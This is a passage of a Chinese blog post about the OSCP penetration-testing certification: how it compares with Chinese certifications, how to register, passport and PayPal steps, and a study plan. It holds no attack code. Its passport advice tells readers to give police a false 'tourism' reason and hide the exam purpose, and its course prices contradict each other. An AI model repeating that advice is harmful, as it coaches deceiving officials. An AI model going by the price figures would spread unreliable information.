&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：渗透测试的基本技术、漏洞利用、信息收集、攻击与防御、网络安全策略等。考生需掌握实际的渗透测试技能，并能够处理网络安全问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;相似点&lt;/strong&gt;：CISP 渗透测试认证强调实践，考生需掌握渗透测试技术和攻击防御策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区别&lt;/strong&gt;：CISP 更加注重中国本土的网络安全标准和政策，认证范围较广，除了渗透测试外，还涵盖其他信息安全领域。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-cwapt-certified-web-application-penetration-tester"&gt;2. &lt;strong&gt;CWAPT (Certified Web Application Penetration Tester)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：中国网络安全审计中心（CCSA）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：CWAPT 认证专注于 &lt;strong&gt;Web 渗透测试&lt;/strong&gt;，即测试和攻击 Web 应用程序的安全性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：涵盖 Web 应用的漏洞识别、利用漏洞进行攻击、SQL 注入、XSS、CSRF 等常见漏洞的测试和攻击方法。该认证强调攻击与防护，并通过实战测试评估技术能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;相似点&lt;/strong&gt;：CWAPT 与 OSCP 都注重实际操作，要求考生能够在真实环境中进行渗透测试，并使用合适的工具进行攻击。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区别&lt;/strong&gt;：CWAPT 主要针对 Web 安全进行认证，范围较为狭窄，专注于 Web 应用的渗透测试，而 OSCP 包含更广泛的渗透测试技能。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-cpt-certified-penetration-tester"&gt;3. &lt;strong&gt;CPT (Certified Penetration Tester)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：中国网络安全认证中心（CNSA）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：CPT 是一种针对渗透测试的技术认证，旨在通过严格的考试，评估考生在渗透测试领域的实际操作能力和知识储备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：渗透测试的各个方面，包括信息收集、漏洞扫描、利用漏洞、Web 渗透、密码破解等技术，考生需要掌握常见的渗透测试技术和工具。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;相似点&lt;/strong&gt;：CPT 与 OSCP 都注重实战操作，考生需要在特定的渗透测试环境中完成任务，并提交结果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区别&lt;/strong&gt;：CPT 认证的重点在渗透测试技术上，但没有 OSCP 那样严格的挑战性和综合的渗透测试流程，考试难度相对较低。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-pet-penetration-tester"&gt;4. &lt;strong&gt;PET (Penetration Tester)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：中国信息安全技术认证中心（CICT）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：PET 认证专门针对渗透测试人员，旨在测试考生在各种渗透测试任务中的综合能力，涵盖从信息收集到攻击、利用漏洞、报告撰写等多方面技能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：包括渗透测试的基础知识、漏洞分析、网络渗透、Web 安全、密码学等技术，侧重实际操作并提供现场考试。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;相似点&lt;/strong&gt;：PET 认证与 OSCP 相似，注重考生的实战技能，考试中要求完成渗透测试任务，并解决实际问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区别&lt;/strong&gt;：PET 可能较为基础，适合初级渗透测试工程师，而 OSCP 适合有一定渗透测试经验并希望进一步提升的中高级安全从业人员。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="总结对比-1"&gt;总结对比：
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OSCP&lt;/strong&gt; 是全球最具权威的渗透测试认证之一，深度涵盖渗透测试的各个方面，认证的难度较高，适合有一定渗透测试基础的人员。它侧重于考察考生在真实环境中的问题解决能力和综合应用能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;国内认证&lt;/strong&gt; 如 CISP、CWAPT、CPT 和 PET，虽然也涵盖渗透测试的技能，但它们通常在认证内容上更贴合中国的网络安全需求，注重国家标准和法规。部分国内认证的考试难度相对较低，更适合入门级或中级人员。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="怎么报名"&gt;怎么报名
&lt;/h2&gt;&lt;h3 id="如何报名参加-oscpoffensive-security-certified-professional认证"&gt;如何报名参加 OSCP（Offensive Security Certified Professional）认证
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;OSCP&lt;/strong&gt; 是由 &lt;strong&gt;Offensive Security&lt;/strong&gt; 提供的全球公认的渗透测试认证，报名流程相对简单，但需要经过一系列步骤。以下是报名 OSCP 认证的详细过程：&lt;/p&gt;
&lt;h4 id="1-准备工作"&gt;1. &lt;strong&gt;准备工作&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;在报名之前，你需要具备一定的技术基础，特别是在渗透测试和网络安全方面。Offensive Security 官方建议，参与 OSCP 考试之前，考生应当具备以下技能：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;熟练掌握 &lt;strong&gt;Kali Linux&lt;/strong&gt; 系统（至少要自己会装个虚拟机）&lt;/li&gt;
&lt;li&gt;熟悉 &lt;strong&gt;网络协议&lt;/strong&gt;、&lt;strong&gt;TCP/IP&lt;/strong&gt;、&lt;strong&gt;HTTP&lt;/strong&gt; 等基础知识&lt;/li&gt;
&lt;li&gt;掌握 &lt;strong&gt;漏洞扫描&lt;/strong&gt;、&lt;strong&gt;漏洞利用&lt;/strong&gt;、&lt;strong&gt;Web 渗透测试&lt;/strong&gt;、&lt;strong&gt;密码破解&lt;/strong&gt; 等技术（大学生CTF赛事有相关培训，建议先学习CTF部分的知识入门后再考虑考证）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-选择培训课程可选"&gt;2. &lt;strong&gt;选择培训课程（可选）&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;虽然可以直接报名参加 OSCP 认证考试，但很多考生会选择参加 &lt;strong&gt;PWK（Penetration Testing with Kali Linux）&lt;/strong&gt; 课程，这是 OSCP 官方提供的认证配套培训课程。通过参加该课程，学员可以系统地学习渗透测试的技术和方法，涵盖了从基础到高级的各种渗透测试技术。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;培训网站&lt;/strong&gt;：&lt;a class="link" href="https://www.offsec.com/courses-and-certifications/" target="_blank" rel="noopener"
 &gt;Offensive Security Training&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;课程包括视频教程、实践环境、工具使用指导等内容。&lt;/li&gt;
&lt;li&gt;课程费用通常为 &lt;strong&gt;800-1000 美元&lt;/strong&gt;（具体费用请参考官网）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;参加 PWK 课程后，学员可以获得 &lt;strong&gt;90 天&lt;/strong&gt; 的实验室环境访问权限，并且可以进行实践操作。&lt;/p&gt;
&lt;h4 id="3-注册并创建帐户"&gt;3. &lt;strong&gt;注册并创建帐户&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;访问 &lt;strong&gt;Offensive Security 官方网站&lt;/strong&gt;：&lt;a class="link" href="https://www.offensive-security.com" target="_blank" rel="noopener"
 &gt;https://www.offensive-security.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;点击页面顶部的 &lt;strong&gt;&amp;ldquo;Get Started&amp;rdquo;&lt;/strong&gt; 或 &lt;strong&gt;&amp;ldquo;Training&amp;rdquo;&lt;/strong&gt;，然后选择 OSCP 或 PWK 课程。&lt;/li&gt;
&lt;li&gt;创建一个账号，输入基本的个人信息和联系方式。&lt;/li&gt;
&lt;li&gt;注意，创建账号不需要护照，可以先注册账户，但是不要付款买90天课程，因为90天你自己绝对刷不完官方靶机，先跟着&lt;a class="link" href="https://space.bilibili.com/350329294?" target="_blank" rel="noopener"
 &gt;泷羽Sec&lt;/a&gt;的课程，先学习，刷免费练习靶机，都刷完之后再去买官方课程和靶机练习，然后考试。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-选择考试套餐"&gt;4. &lt;strong&gt;选择考试套餐&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;OSCP 提供了两种主要的报名套餐：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基础套餐&lt;/strong&gt;（Basic）：包括 PWK 培训课程和 30 天实验室环境访问。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.offsec.com/checkout/products?cid=10&amp;amp;choice=cert" target="_blank" rel="noopener"
 &gt;&lt;strong&gt;标准套餐&lt;/strong&gt;（Standard）&lt;/a&gt;：包括 PWK 课程、90 天实验室环境访问以及认证考试。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在选择套餐时，如果你已经有一定渗透测试经验，可以选择基础套餐；如果你需要更多的实验室时间来提高实践技能，建议选择标准套餐。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;注意，这个价格按照成文当日汇率约为1万2左右，&lt;strong&gt;请不要先行购买付款&lt;/strong&gt;，可以注册，但是&lt;strong&gt;不要付款&lt;/strong&gt;。因为付款后只有90天的使用时长，纯小白90天学不会的。建议先跟着&lt;a class="link" href="https://space.bilibili.com/350329294?" target="_blank" rel="noopener"
 &gt;泷羽Sec&lt;/a&gt;的课程，先学习，刷免费练习靶机，都刷完之后再去买官方课程和靶机练习，然后考试。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250115162437953" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250115162437953.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250115160903722" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250115161101614" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250115161101614.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250115161116676" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250115161116676.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;注意3年有效期意思为，刚考完试的时候是OSCP+，有+号，3年后如果不维持（交钱），自动降级为OSCP，没有加号。OSCP（没有加号），是终生永久的，不用年年交钱，也不用年年考试。OSCP的认证（没有加号）目前来说含金量已经非常够了，红队招聘基本可以横着走了（bushi）。至于以后是否维持+号，自行看钱包决定，目前国内没有区分+号和没有+号在招聘上的限制。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="5-付款并完成报名"&gt;5. &lt;strong&gt;付款并完成报名&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;选择合适的课程套餐后，按照提示完成 &lt;strong&gt;付款&lt;/strong&gt;。一般来说，PWK 课程和 OSCP 认证费用相对较高，具体价格根据所选套餐和实验室时长不同，通常在 &lt;strong&gt;800 至 1400 美元&lt;/strong&gt;之间。&lt;/li&gt;
&lt;li&gt;支付完成后，你将获得 &lt;strong&gt;登录凭证&lt;/strong&gt; 和 &lt;strong&gt;实验室环境访问权限&lt;/strong&gt;，可以开始进行课程学习和练习。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-参加考试"&gt;6. &lt;strong&gt;参加考试&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;在完成 PWK 课程学习后，你可以通过官网 &lt;strong&gt;预约考试&lt;/strong&gt;。OSCP 的考试形式为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;24小时渗透测试实战&lt;/strong&gt;：考生需要在 24 小时内完成渗透测试任务，达到一定的分数后提交报告。&lt;/li&gt;
&lt;li&gt;考生需要根据给定的目标网络环境，通过渗透测试，获取管理员权限并提交报告。&lt;/li&gt;
&lt;li&gt;完成考试后，需要提交详细的 &lt;strong&gt;渗透测试报告&lt;/strong&gt;，报告内容需包括漏洞分析、攻击步骤、缓解措施等。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;考试通过标准&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;必须获得至少 70% 的分数（即 1000 分中的 700 分）才能通过考试。&lt;/li&gt;
&lt;li&gt;提交考试报告后，Offensive Security 会对你的测试过程和结果进行评估。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="7-获取证书"&gt;7. &lt;strong&gt;获取证书&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;如果通过考试，你将收到 &lt;strong&gt;OSCP 证书&lt;/strong&gt;，这是一项国际认可的渗透测试认证，能够显著提升你在网络安全领域的职业竞争力。（拿证需要护照，护照申请方法在后面）&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.offsec.com/checkout/" target="_blank" rel="noopener"
 &gt;https://www.offsec.com/checkout/&lt;/a&gt; offsec全套认证列表，以后进阶红高可能要OSEP。不过也是先考了OSCP再说.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="小贴士"&gt;小贴士：
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;准备工作&lt;/strong&gt;：OSCP 的考试有一定难度，建议考生在报名之前进行充分的学习和实践，熟悉常用的渗透测试工具（如 Metasploit、Nmap、Burp Suite 等）。&lt;strong&gt;注意，官方考试时 Metasploit 只允许用一次，需要向考官申请；Burp Suite 只能用社区版，不能用带 Pro的版本。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;实验室环境&lt;/strong&gt;：PWK 课程提供的实验室环境是非常重要的，充分利用它来进行各类渗透测试练习。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;报告撰写&lt;/strong&gt;：OSCP 考试不仅仅是完成渗透测试，还需要提交一份详尽的报告。报告写作同样是考试的一部分，清晰、有条理的报告能够帮助你提高分数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;单独考试&lt;/strong&gt;:Offsec官方有单独OSCP+仅考试的选项,1699美元,综合下载还是1799美元套餐(考试+课程+90天靶机环境)比较划算.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250115163549241" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250115163549241.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="办理护照"&gt;办理护照
&lt;/h3&gt;&lt;p&gt;前往 &lt;strong&gt;公安局&lt;/strong&gt; 或 &lt;strong&gt;政务中心办事大厅&lt;/strong&gt; 找民警办理，&lt;strong&gt;携带身份证&lt;/strong&gt; 即可。到办事处时，说 &lt;strong&gt;“办理护照，美国”&lt;/strong&gt;，出国理由直接回答 &lt;strong&gt;“旅游”&lt;/strong&gt;。即使民警再次询问确认目的是否是出国旅游（只是办事流程再次确认的环节），也必须回答是，&lt;strong&gt;不要提学习或考试&lt;/strong&gt;，否则材料会更复杂。办理的为 &lt;strong&gt;普通护照&lt;/strong&gt;，同样适用于OSCP考试等其他用途。&lt;/p&gt;
&lt;h4 id="办理流程"&gt;办理流程：
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;登记基本信息&lt;/strong&gt;：携带身份证进行登记。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;询问目的地&lt;/strong&gt;：只需回答目的地为 &lt;strong&gt;美国&lt;/strong&gt;，理由为 &lt;strong&gt;旅游&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拍摄护照照片&lt;/strong&gt;：拍照时请穿深色衣服，避免佩戴头饰、眼镜，确保耳朵露出，不要化妆，基本要求与身份证照相同。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缴纳费用&lt;/strong&gt;：缴纳工本费 &lt;strong&gt;120元&lt;/strong&gt;，并提交相关材料。你可以选择 &lt;strong&gt;免费邮寄到家&lt;/strong&gt; 或 &lt;strong&gt;到大厅领取&lt;/strong&gt;，不需要支付额外的邮费。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;普通护照有效期为 &lt;strong&gt;10年&lt;/strong&gt;，整个办理过程大约需 &lt;strong&gt;15分钟&lt;/strong&gt;，一般在 &lt;strong&gt;7个工作日&lt;/strong&gt; 内可以领取护照，会通过电话或短信通知你。&lt;/p&gt;
&lt;h3 id="办理-paypal-支付"&gt;办理 PayPal 支付
&lt;/h3&gt;&lt;p&gt;在中国，办理 PayPal 账户并非直接通过银行进行，而是通过 PayPal 官方网站或移动应用注册并完成身份验证。然而，如果你希望通过中国的银行进行一些与 PayPal 相关的操作（如绑定银行账户、进行提现等），你可以按照以下步骤进行：&lt;/p&gt;
&lt;h4 id="1-注册-paypal-账户"&gt;1. &lt;strong&gt;注册 PayPal 账户&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;访问 &lt;a class="link" href="https://www.paypal.com" target="_blank" rel="noopener"
 &gt;PayPal官网&lt;/a&gt; 或下载 PayPal 移动应用。&lt;/li&gt;
&lt;li&gt;点击“注册”按钮，选择个人账户或商家账户（通常个人用户选择个人账户）。&lt;/li&gt;
&lt;li&gt;填写个人信息（如姓名、电子邮件地址、密码等）。&lt;/li&gt;
&lt;li&gt;选择中国大陆为账户所在地区。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：在中国，PayPal 账户注册时需要绑定有效的电子邮件地址和手机号码(电信可用)，确保账户安全。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-绑定银行账户"&gt;2. &lt;strong&gt;绑定银行账户&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;选择合适的银行&lt;/strong&gt;：PayPal 支持中国大陆的大部分银行账户，通常可以绑定 &lt;strong&gt;工商银行&lt;/strong&gt;、&lt;strong&gt;建设银行&lt;/strong&gt;、&lt;strong&gt;农业银行&lt;/strong&gt;、&lt;strong&gt;招商银行&lt;/strong&gt;等主流银行的借记卡或信用卡。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;步骤&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;登录到 PayPal 账户后，进入“钱包”页面。&lt;/li&gt;
&lt;li&gt;点击“关联银行账户或卡片”。&lt;/li&gt;
&lt;li&gt;输入你的银行账户信息，通常是银行卡号、卡类型、银行名称等。&lt;/li&gt;
&lt;li&gt;PayPal 会进行验证并要求你输入银行账户的验证码（通过短信发送或通过网银进行验证）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：你绑定的银行卡必须支持国际支付（如 Visa、Mastercard 等卡种）。中国的部分银行可能会限制外币支付，所以确保你的银行卡可以进行国际交易。(普通借记卡不行,必须要新办一张支持Paypal支付的卡,详细询问银行员工)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-完成身份认证"&gt;3. &lt;strong&gt;完成身份认证&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;为了增强账户安全并完成某些交易，PayPal 可能会要求你进行身份认证。通常包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提供身份证照片或其他身份证明。&lt;/li&gt;
&lt;li&gt;提供银行账户的验证信息。&lt;/li&gt;
&lt;li&gt;确保你的 PayPal 账户与银行账户的信息一致。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;备注&lt;/strong&gt;：完成身份认证后，你将可以进行更多的操作，如接收国际付款、进行汇款等。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-进行-paypal-交易和提现"&gt;4. &lt;strong&gt;进行 PayPal 交易和提现&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;接收付款&lt;/strong&gt;：完成账户和银行绑定后，你可以通过 PayPal 收取来自全球用户的款项。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提现到银行&lt;/strong&gt;：当你需要将 PayPal 账户中的余额提现到银行账户时，选择“提现”选项，输入银行账户信息并确认提现操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-通过支付宝账户充值或付款可选"&gt;5. &lt;strong&gt;通过支付宝账户充值或付款（可选）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;在某些情况下，你也可以通过 &lt;strong&gt;支付宝&lt;/strong&gt; 向 PayPal 账户充值或进行支付。这需要第三方平台进行中介操作，步骤比较复杂。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-费用和汇率"&gt;6. &lt;strong&gt;费用和汇率&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;在中国进行 PayPal 交易时，PayPal 会收取一定的手续费，具体费率可以参考 &lt;a class="link" href="https://www.paypal.com/cn/webapps/mpp/paypal-fees" target="_blank" rel="noopener"
 &gt;PayPal的费用说明页面&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;汇率问题：PayPal 会根据国际市场汇率进行货币转换，可能会有一些汇率差异。&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;因为考试费用的金额太大，所以建议你使用自己的卡办自己的Paypal，能保证资金安全．不建议使用发卡平台等魔法工具转账．&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="如何高效备考-oscp从基础到考试的一站式攻略"&gt;如何高效备考 OSCP？——从基础到考试的一站式攻略
&lt;/h2&gt;&lt;p&gt;OSCP（Offensive Security Certified Professional）是网络安全领域最具挑战性的认证之一，要顺利通过考试，除了理论学习，还需要大量的实战练习。以下是高效备考的建议，希望你能充分准备并顺利通过。&lt;/p&gt;
&lt;h3 id="1-打好基础系统学习"&gt;1. &lt;strong&gt;打好基础，系统学习&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;在正式进入 OSCP 的备考之前，建议从基础学习开始，夯实渗透测试的核心知识。你可以通过关注 &lt;a class="link" href="https://space.bilibili.com/350329294?" target="_blank" rel="noopener"
 &gt;泷羽Sec&lt;/a&gt; 提供的课程，结合 &lt;strong&gt;免费靶机练习&lt;/strong&gt;，逐步提升实战能力。&lt;/li&gt;
&lt;li&gt;基础靶机练习完成后，考虑购买 &lt;strong&gt;Offensive Security&lt;/strong&gt; 提供的官方课程和靶机，进一步深入，进行更为高级的练习。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-深入学习路径"&gt;2. &lt;strong&gt;深入学习路径&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;直播课程+官方教材&lt;/strong&gt;：配合 &lt;strong&gt;Offensive Security&lt;/strong&gt; 的官方 PWK 24 章节教程和直播课程，确保对渗透测试各项技能掌握扎实。这是基础，也是整个学习路径的支撑。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实战靶机刷题&lt;/strong&gt;：首先可以挑战 &lt;strong&gt;Top 10 基础靶机&lt;/strong&gt;，巩固渗透测试的基础技能，接着刷 &lt;strong&gt;100 平替靶机&lt;/strong&gt;，为中级挑战做准备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进阶靶机训练&lt;/strong&gt;：逐步过渡到更复杂的环境——刷官方的 &lt;strong&gt;进阶 PG 靶场&lt;/strong&gt;，这将帮助你熟悉 OSCP 考试中的高级渗透技巧和策略。
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://www.offsec.com/checkout/products?pt=3&amp;amp;choice=pg" target="_blank" rel="noopener"
 &gt;官方 PG 靶场链接&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-报名官方靶场进行实战模拟"&gt;3. &lt;strong&gt;报名官方靶场，进行实战模拟&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;训练到一定阶段，建议报名 &lt;strong&gt;OSCP 90 天实验室靶场&lt;/strong&gt;（OSCPLab），这是官方提供的封闭式练习环境，可以帮助你进行全面的攻防训练，模拟真实考试的场景。&lt;/li&gt;
&lt;li&gt;提前报名并完成足够的练习，是确保考试顺利通过的关键。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-临考准备冲刺复习"&gt;4. &lt;strong&gt;临考准备，冲刺复习&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;在积累了一定的实战经验后，准备进入最后的考试复习阶段。回顾你做过的靶机，强化弱项，确保自己能够应对 OSCP 考试中的各种挑战。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="小贴士关注学习资源持续跟进最新动态"&gt;小贴士：关注学习资源，持续跟进最新动态
&lt;/h3&gt;&lt;p&gt;为了让你在备考过程中少走弯路，不妨关注 &lt;strong&gt;泷羽Sec-静安公众号&lt;/strong&gt;，这里会定期更新 &lt;strong&gt;OSCP 相关学习文章&lt;/strong&gt;，从渗透测试技巧到备考经验，帮助你更高效地掌握核心内容。 或在 &lt;a class="link" href="https://blog.csdn.net/Bugatti100Peagle?type=blog" target="_blank" rel="noopener"
 &gt;&lt;strong&gt;CSDN 泷羽Sec-静安&lt;/strong&gt;&lt;/a&gt; 的 OSCP 栏目查阅更多实战经验和技巧，时刻保持更新，走在行业的前沿。&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;，后台回复关键字　OSCP　获取免费备考资料．&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;h3 id="备考路线总结"&gt;备考路线总结：
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;学习基础课程，理解核心知识&lt;/strong&gt;（直播、官方教程、基础靶机）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深入练习，刷中高级靶机&lt;/strong&gt;（100 平替靶机、官方进阶 PG 靶场）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加入官方 90 天靶场，进行实战模拟&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冲刺复习，确保各项技能熟练&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最终考试，挑战自己，突破极限&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过这些层层递进的学习和练习，你的 OSCP 之路将更加顺利。希望你早日获得认证，成为渗透测试领域的专业人士！&lt;/p&gt;</description></item></channel></rss>